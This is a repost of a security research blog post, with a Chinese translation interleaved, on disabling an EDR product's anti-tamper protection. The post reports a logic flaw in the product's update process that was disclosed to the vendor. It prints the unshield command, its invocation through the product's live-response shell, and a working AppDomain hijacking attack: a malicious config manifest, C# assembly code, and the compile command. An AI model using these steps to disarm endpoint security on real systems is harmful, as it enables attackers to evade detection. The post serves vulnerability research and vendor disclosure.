Attacking an EDR - Part 3

Introduction 介绍

DISCLAMER: This post was done in collaboration with Riccardo Ancarani. You can find his blog here:

In this third and last part of this series, we will dig deeper in the EDR’s update process and uncover some logic flaws that, ultimately, led us to the complete disarmament of the solution. Additionally, as an unexpected treat for our effort, a new ‘LOLBin’ was also discovered along the way. This part will be a bit more code-heavy, we will try to minimize the unnecessary bloat but the reader might need to pivot through some additional references to get the most out of this.
在本系列的第三部分也是最后一部分中,我们将更深入地挖掘 EDR 的更新过程,并发现一些逻辑缺陷,这些缺陷最终导致我们完全解除了解决方案的武装。此外,作为我们努力的意外款待,在此过程中还发现了一个新的“LOLBin”。这部分代码会更繁重一些,我们将尽量减少不必要的臃肿,但读者可能需要浏览一些额外的参考资料以充分利用这一点。

As mentioned above, this part of the research was focused on the update process, whereby the solution will eventually need to either restart or adjust its own configuration to apply the new changes. For new changes, we primarily mean software updates that require binaries being modified or similar, not the simple update of the signature database.

From a high level perspective, when a software needs to apply updates, the following scenarios are possible:

  • Update is done by the same component that needs updating
  • Update is delegated to an additional component that is solely responsible for that

Whilst for a normal software this might not be a huge problem, for an EDR that needs to protect itself from unwanted modifications and tamper, this might be a non-trivial task to accomplish.
虽然对于普通软件来说,这可能不是一个大问题,但对于需要保护自己免受不必要的修改和篡改的 EDR 来说,这可能是一项艰巨的任务。

In our attack scenario, we hypothesized that the solution under scrutiny at some point had to temporarily lift some of the countermeasures that would be usually in place, to allow the introduction of additional software components.
在我们的攻击场景中,我们假设正在审查的解决方案 at some point 必须暂时取消一些通常到位的对策,以允许引入额外的软件组件。

By all means, not every update mechanism needs to function this way and we do not imply that this mechanism was flawed in its design. Every case should be carefully reviewed from an architectural and implementation perspective. However, more often than not, even extremely complex software’s architectures base core part of their security on assumptions that, in practice, might not align with reality. We do believe that installation, uninstallation and update processes should be included in the threat model of every vendor or company who is introducing third-party tooling in their estate. Some of the questions that you might start asking to guide the threat modeling exercise are the following:

Does the EDR lower its security posture temporarily to allow updates? Is the time window sufficient for an attacker to perform malicious actions? How does the uninstall process work in practice? Does it need a code that is generated from a centralised tenant? How much “trust” is given to the digital signature of the EDR software? Would a threat that lives in a signed process by the EDR vendor have more leeway compared to a malware that doesn’t?
EDR 是否会暂时降低其安全态势以允许更新?时间窗口是否足以让攻击者执行恶意操作?卸载过程在实践中如何运作?它是否需要从集中式租户生成的代码?对 EDR 软件的数字签名给予了多少“信任”?与没有签名的恶意软件相比,存在于 EDR 供应商签名进程中的威胁是否有更多的回旋余地?

Assumptions such as: 假设,例如:

  • A malware will not be able to obtain the same code signing certificate as the vendor
  • A malware will not be able to open privileged handles to EDR processes
    恶意软件将无法向 EDR 进程打开特权句柄

Can be misleading and give a false sense of security. Our recommendation is to start challenging those assumptions and start designing products that can withstand those situations.

The assumption that an attack will happen necessarily when a solution is at its best state is simply incorrect. We’re clearly not the pioneers of this approach, and a similar concept was also discussed by Prelude Security’s team An Argument for Continous Security Testing.
当解决方案处于最佳状态时,攻击必然会发生,这种假设是完全不正确的。我们显然不是这种方法的先驱,Prelude Security 的团队 An Argument for Continous Security Testing 也讨论了类似的概念。

Enough theory, let’s get our hands dirty.

Exploitation 开发

Crash Dump Files 故障转储文件

The process began by analyzing all the files, logs and in general artifacts that the EDR solution left on disk that were accessory to its functionality. Essentially we were looking at all the things that were “left over”.
该过程首先分析了 EDR 解决方案在磁盘上留下的所有文件、日志和一般工件,这些文件、日志和一般工件是其功能的附属品。从本质上讲,我们是在看所有“剩下”的东西。

Unsurprisingly, within the C:\ProgramData folder, it was possible to find a subfolder related to the STRANGETRINITY product. Within that folder, a UserCrashDump directory was identified. The folder contained mostly text files, which apparently stored logs related to the installation and update of the product. Amongst all the entries, after a careful analysis, an interesting command line was found:
不出所料,在 C:\ProgramData 文件夹中,可以找到与STRANGETRINITY产品相关的子文件夹。在该文件夹中,标识了一个 UserCrashDump 目录。该文件夹主要包含文本文件,这些文件显然存储了与产品安装和更新相关的日志。在所有条目中,经过仔细分析,发现了一个有趣的命令行:

<TIMESTAMP> Property Change: Adding ApplyConfigProtectRollback property, its value is: StrangeTrinity.exe unshield_from_authorized_process

Well, that sounded quite interesting. Obviously at that time we had no clue of what the functionality that command was, we could only guess by its name. However, it sounded promising enough to push us to continue towards that route.

Without wasting too much time, we tried to run the same command again from an elevated command prompt and… …drumroll… it didn’t work! However, luckily for us, the program was kind enough to give us some hints of why it didn’t work. Specifically, the output that we obtained was something along the lines of:

Parent process is not signed by `Vendor`
`Unshield not approved.`

Unshield from authorized process

The error obtained by running the command above was informative enough to make us think that the primary check that the EDR service was performing was solely based on the validation of the digital signature of the process that is invoking the StrangeTrinity.exe unshield_from_authorized_process command.
通过运行上述命令获得的错误足以让我们认为 EDR 服务正在执行的主要检查完全基于对调用该 StrangeTrinity.exe unshield_from_authorized_process 命令的进程的数字签名的验证。

At this point we clearly had a problem, not being in possession of the private keys used to sign the STRANGETRINITY software, we simply couldn’t sign an arbitrary EXE and make it invoke our command. The following tests were then performed:
在这一点上,我们显然遇到了一个问题,没有用于签署 STRANGETRINITY 软件的私钥,我们根本无法签署任意 EXE 并让它调用我们的命令。然后进行了以下测试:

  • Injecting a shellcode into a running EDR process
    将 shellcode 注入正在运行的 EDR 进程
  • Injecting a shellcode into a suspended EDR process that was created ad-hoc, is is known as fork-and-run pattern
    将 shellcode 注入到临时创建的挂起的 EDR 进程中,称为分叉和运行模式
  • Installing a rogue certification authority on the compromised host and sign an arbitrary EXE with a certificate with the same subject as the vendor’s
    在受感染的主机上安装恶意证书颁发机构,并使用与供应商的证书主题相同的证书对任意 EXE 进行签名

Unfortunately, none of the above worked (although they are valid tests that we encourage the reader to attempt).

A new LOLBin? 一个新的LOLBin?

STRANGETRINITY, as most top tier EDRs, have some sort of live response feature that allows responders to run arbitrary commands and execute scripts on a host they are analyzing. If this sounds like a Command and Control, it’s because it mostly is!
与大多数顶级 EDR 一样,STRANGETRINITY 具有某种 live response 功能,允许响应者在他们正在分析的主机上运行任意命令并执行脚本。如果这听起来像是命令和控制,那是因为它主要是!

Different products implement this feature in different ways, however, STRANGETRINITY had a dedicated process that was spawned when an analyst initiated a live response session from the main tenant. The program was essentially executing a powershell process and piping its output to a named pipe; we imagine that the output then got sent to the main agent process and ultimately redirected to the centralized tenant for the analyst to see.
不同的产品以不同的方式实现此功能,但是,STRANGETRINITY 有一个专用流程,该流程是在分析师从主租户发起实时响应会话时生成的。该程序实质上是执行一个 powershell 进程,并将其输出通过管道传递到命名管道;我们假设输出随后被发送到主代理进程,并最终重定向到集中式租户供分析师查看。

A brief inspection of the executed processes using Sysmon’s EventID 1 revealed the command line that the solution used:
使用 Sysmon 的 EventID 1 对已执行的进程进行简要检查后,揭示了该解决方案使用的命令行:

StrangeTrinityResponseShell.exe “powershell.exe -enc ….”

That looked simple enough! We quickly attempted to execute the StrangeTrinityResponseShell.exe with a different command line, and it worked perfectly. This, apart from being a LOLBin (which we will not publish to maintain the same level of integrity that we discussed in part 1 of this series), constituted an interesting primitive that we could then use to bypass the parent process signature check that was discussed in the chapter above.
这看起来很简单!我们迅速尝试使用不同的命令行执行 StrangeTrinityResponseShell.exe,并且运行良好。除了是一个 LOLBin(我们不会发布它以保持我们在本系列的第 1 部分中讨论的相同级别的完整性)之外,它还构成了一个有趣的原语,然后我们可以使用它来绕过上一章中讨论的父进程签名检查。

Testing this was simple enough, as we only had to execute the following command:

StrangeTrinityResponseShell.exe “StrangeTrinity.exe unshield_from_authorized_process”

With much surprise, we obtained an Unshield approved prompt, this looked like a crackme after all! Checking the EDR’s configuration by using the official troubleshooting utility indeed showed that the anti-tamper was disabled and the solution could be either uninstalled or tampered with trivially.
出乎意料的是,我们得到了一个 Unshield approved 提示,这毕竟看起来像是裂缝!使用官方故障排除实用程序检查 EDR 的配置确实表明防篡改器已被禁用,并且该解决方案可以被卸载或篡改。

Attacking an EDR - Part 3

Appdomain Hijacking 应用域劫持

The LOLBin part was interesting, but before submitting the vulnerability to the vendor we kept looking for other avenues. This was done mostly to increase our chances for the report to deliver the right message.
LOLBin 部分很有趣,但在将漏洞提交给供应商之前,我们一直在寻找其他途径。这样做主要是为了增加我们报告传递正确信息的机会。

Another approach to execute code under the context of a signed process, is to utilize the Appdomain Hijacking technique. The technique is not something new and you can find extensive resources on the web. But in a nutshell, Appdomain hijacking is an attack that allows an adversary to force a legitimate .NET application to load a custom .NET assembly by specifying a set of entries within a manifest file. A manifest file is simply an XML configuration file with a .config extension. The web is full of fully functional PoCs that can be weaponized easily. However, in order to use this attack, we had to find a .NET binary that was also signed by the vendor.
在签名进程的上下文中执行代码的另一种方法是利用 Appdomain 劫持技术。这项技术并不是什么新鲜事物,您可以在网络上找到大量资源。但简而言之,Appdomain 劫持是一种攻击,它允许攻击者通过在清单文件中指定一组条目来强制合法的 .NET 应用程序加载自定义 .NET 程序集。清单文件只是一个扩展名为 .config 的 XML 配置文件。网络上充斥着功能齐全的PoC,可以很容易地被武器化。但是,为了使用此攻击,我们必须找到一个同样由供应商签名的 .NET 二进制文件。

If you happen to have a VirusTotal enterprise subscription, it would be easier just to look for .NET binaries with the specific vendor in the signature tag and download the submitted files. Luckily we did not have to do any of that, as the vendor also installed a set of utilities to collect logs on the host in a separate folder, and one of them was written using the .NET framework.
如果您碰巧有 VirusTotal 企业订阅,则只需在签名标记中查找带有特定供应商的 .NET 二进制文件并下载提交的文件会更容易。幸运的是,我们不必执行任何操作,因为供应商还安装了一组实用程序,用于在单独的文件夹中收集主机上的日志,其中一个是使用 .NET Framework 编写的。

To exploit that, we copied the log agent utility in an arbitrary folder, and placed the following file named LogAgent.exe.config next to it:
为了利用这一点,我们将日志代理实用程序复制到任意文件夹中,并在其旁边放置了以下名为 LogAgent.exe.config 的文件:

  	<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
     	<probing privatePath="C:\Test"/>
      <etwEnable enabled="false" />
      <appDomainManagerAssembly value="test, Version=, Culture=neutral, PublicKeyToken=null" />  
      <appDomainManagerType value="MyAppDomainManager" />  

It is important that the name of the config file is the same as the executable that you are targeting, with a .config appended at the end, otherwise the attack will not work.
重要的是,配置文件的名称必须与目标可执行文件相同,并在末尾附加一个 .config,否则攻击将不起作用。

Inspecting the configuration file above, it is possible to see that the config file specified that the application should load a new appdomain manager called test, which in this case is our custom malicious assembly. The code for the Test.cs file was following:
检查上面的配置文件,可以看到配置文件指定应用程序应该加载一个名为 test 的新 appdomain 管理器,在本例中为我们的自定义恶意程序集。Test.cs 文件的代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Text;
using System.Threading.Tasks;

public sealed class MyAppDomainManager : AppDomainManager
	public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
   	    	 Program.Main(new string[] {});

	public class Program

    	public static void Main(string[] args)
   		  System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
   		  startInfo.FileName = @"C:\\Program Files\\STRANGETRINITY\\StrangeTrinity.exe";
   		 startInfo.Arguments = "unshield_from_authorized_process";
        	System.Diagnostics.Process.Start( startInfo);

The snippet above shows the code of the malicious .NET assembly, which simply spawned the StrangeTrinity.exe process with the right command line in order to disable it.
上面的代码片段显示了恶意 .NET 程序集的代码,该程序集只是使用正确的命令行生成了 StrangeTrinity.exe 进程以禁用它。

To compile the DLL, the csc.exe utility was used:
为了编译 DLL,使用了 csc.exe 实用程序:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64 /target:library /out:test.dll .\test.cs

To perform the attack, place all the files in the same folder:

  • LogAgent.exe.config
  • LogAgent.exe 日志代理.exe
  • test.dll 测试.dll

Once the LogAgent.exe utility was then started, the malicious .NET DLL was loaded in the signed process which eventually launched the StrangeTrinity.exe. The attack worked as expected, unshielding the solution’s anti-tamper last line of defense, and the issue was communicated to the vendor.
一旦LogAgent.exe实用程序启动,恶意的.NET DLL就会加载到最终启动StrangeTrinity.exe的签名进程中。攻击按预期进行,解除了解决方案的防篡改最后一道防线,并将问题传达给了供应商。

Attacking an EDR - Part 3

Conclusions 结论

This post concludes our series on attacking EDRs, we hope that you had as much fun reading it as we had writing it. A big shoutout to REDACTED for allowing us to test all the things we wanted and for being responsive with fixing the vulnerabilities. Despite knowing that the industry has a lot of potential for improvements in regards to collaborative research, we do really hope that this will lay a more solid foundation for future work. If you are a vendor and you’re willing to give us access to your solution, we will be happy to take a look at it!
这篇文章结束了我们关于攻击 EDR 的系列文章,我们希望您阅读它和我们写它时一样有趣。非常感谢 REDACTED,它允许我们测试我们想要的所有东西,并响应修复漏洞。尽管知道该行业在合作研究方面有很大的改进潜力,但我们确实希望这将为未来的工作奠定更坚实的基础。如果您是供应商,并且愿意让我们访问您的解决方案,我们将很乐意查看它!


原文始发于her0ness:Attacking an EDR - Part 3

版权声明:admin 发表于 2023年11月8日 上午11:07。
转载请注明:Attacking an EDR - Part 3 | CTF导航